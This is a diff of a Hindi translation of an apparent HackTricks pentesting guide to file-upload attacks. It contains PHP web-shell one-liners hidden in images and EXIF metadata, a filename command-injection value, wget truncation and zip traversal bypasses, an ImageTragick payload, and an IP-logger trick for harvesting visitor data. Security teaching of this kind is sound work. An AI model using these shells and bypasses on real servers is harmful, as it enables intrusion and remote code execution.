* फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** को जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
* फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** जोड़कर **जादुई संख्या** जांच को बायपास करें (फाइल कमांड को भ्रमित करें)। या **मेटाडेटा** के अंदर शेल पेश करें:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` या आप **पेलोड को सीधे** एक छवि में भी पेश कर सकते हैं:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को सहन करेगा।
* यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
* [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को सहन करेगा।
* वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
* [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* एक और तकनीक जो एक पेलोड बनाने के लिए है जो **छवि के आकार बदलने** को सहन करता है, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालाँकि, आप **tEXt खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को सहन करेगा।
* एक और तकनीक जो एक पेलोड बनाने के लिए है जो **छवि के आकार बदलने** को सहन करता है, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालाँकि, आप **tEXt खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
* [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### अन्य ट्रिक्स की जांच करें
@ -99,33 +99,33 @@ AAA<--SNIP 232 A-->AAA.php.png
* बैकडोर निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
* **संभावित जानकारी का खुलासा**:
1. **एक ही फ़ाइल** को **कई बार** (और **एक ही समय में**) **एक ही नाम** के साथ अपलोड करें।
2. **एक फ़ाइल** के **नाम** के साथ फ़ाइल अपलोड करें या **फोल्डर** जो **पहले से मौजूद है**
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Apache में **Windows** में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows)
2. **एक फ़ाइल** या **फ़ोल्डर** के **नाम** के साथ फ़ाइल अपलोड करें जो **पहले से मौजूद है**
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
4. ऐसी फ़ाइल अपलोड करें जिसे **NTFS** में आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”**। (Windows)
5. **Windows** में **अमान्य वर्ण** जैसे `|<>*?”` के साथ फ़ाइल अपलोड करें। (Windows)
6. **Windows** में **आरक्षित** (**प्रतिबंधित**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें।
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें।
* **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो **कोड निष्पादित करेगा** जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
### विशेष एक्सटेंशन ट्रिक्स
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)\
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)
`.phar` फ़ाइलें जावा के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** उपयोग किया जा सकता है (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
`.phar` फ़ाइलें जावा के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल** की तरह **उपयोग किया जा सकता है** (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो**
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए होती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो**
## **Jetty RCE**
यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **नई \*.xml और \*.war स्वचालित रूप से संसाधित होती हैं**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और शेल की उम्मीद करें!
यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **नई \*.xml और \*.war स्वचालित रूप से संसाधित होती हैं**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**** इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और शेल की उम्मीद करें!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
## **uWSGI RCE**
इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता ह। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता ह। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
```ini
@ -147,12 +147,12 @@ characters = @(call://uwsgi_func)
```
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से एक क्रैश के बाद या सेवा से इनकार के हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।
uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की ीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है।
uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लचीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है।
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जा रही हैं। हालाँकि, **यह जांच बायपास की जा सकती है।**\
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल को **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -189,21 +189,21 @@ Note that **एक और विकल्प** जिसे आप इस जा
* **filename** को `; sleep 10;` पर सेट करें ताकि कुछ कमांड इंजेक्शन का परीक्षण किया जा सके (अधिक [कमांड इंजेक्शन ट्रिक्स यहाँ](../command-injection.md))
* [**XSS** इमेज (svg) फ़ाइल अपलोड में](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** फ़ाइल **अपलोड** + **XSS** = [**Service Workers** शोषण](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**XXE svg अपलोड में**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Open Redirect** svg फ़ाइल अपलोड करके](../open-redirect.md#open-redirect-uploading-svg-files)
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg payloads** का प्रयास करें\*\*\*\*
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें\*\*\*\*
* [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए संकेत कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी निर्दिष्ट कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**
* यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**
* [**XXE और CORS** बायपास PDF-Adobe अपलोड के साथ](pdf-upload-xxe-and-cors-bypass.md)
* विशेष रूप से तैयार किए गए PDFs से XSS: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि कैसे **PDF डेटा को इंजेक्ट करके JS निष्पादन प्राप्त करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
* फ़ाइलें अपलोड करते समय यदि कोई **आकार सीमा** है तो जांचें
यहाँ शीर्ष 10 चीजों की सूची है जो आप अपलोड करके प्राप्त कर सकते हैं (से [यहाँ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: वेबशेल / RCE
2. **SVG**: स्टोर किया गया XSS / SSRF / XXE
3. **GIF**: स्टोर किया गया XSS / SSRF
2. **SVG**: स्टोर की गई XSS / SSRF / XXE
3. **GIF**: स्टोर की गई XSS / SSRF
4. **CSV**: CSV इंजेक्शन
5. **XML**: XXE
6. **AVI**: LFI / SSRF
@ -227,7 +227,7 @@ Note that **एक और विकल्प** जिसे आप इस जा
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होने जा रहा है, तो आप 2 चीजें कर सकते हैं:
#### सिमलिंक
#### सिमलिंक
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
```
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
डिकप्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संकुचन समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकप्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
```python
@ -270,7 +270,7 @@ create_zip()
अधिक विवरण के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHP शेल बनाना**: PHP कोड लिखा गया है जो `$_REQUEST` वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित करता है
1. **PHP शेल बनाना**: PHP कोड लिखा गया है ताकि `$_REQUEST` वेरिएबल के माध्यम से भेजे गए कमांड को निष्पादित किया जा सके
```php
<?php
@ -295,7 +295,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** ( [शोषण](https://www.exploit-db.com/exploits/39767) से)
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि इस भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** (फॉर्म [एक्सप्लॉइट](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -312,11 +312,11 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
## पॉलीग्लॉट फ़ाइलें
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैस संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैस संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों क संरचनात्मक मानदंडों के अनुरूप है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों क संरचनात्मक मानदंडों के अनुसार है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
अधिक जानकारी के लिए: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -329,23 +329,23 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# JWT Vulnerabilities (Json Web Tokens)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
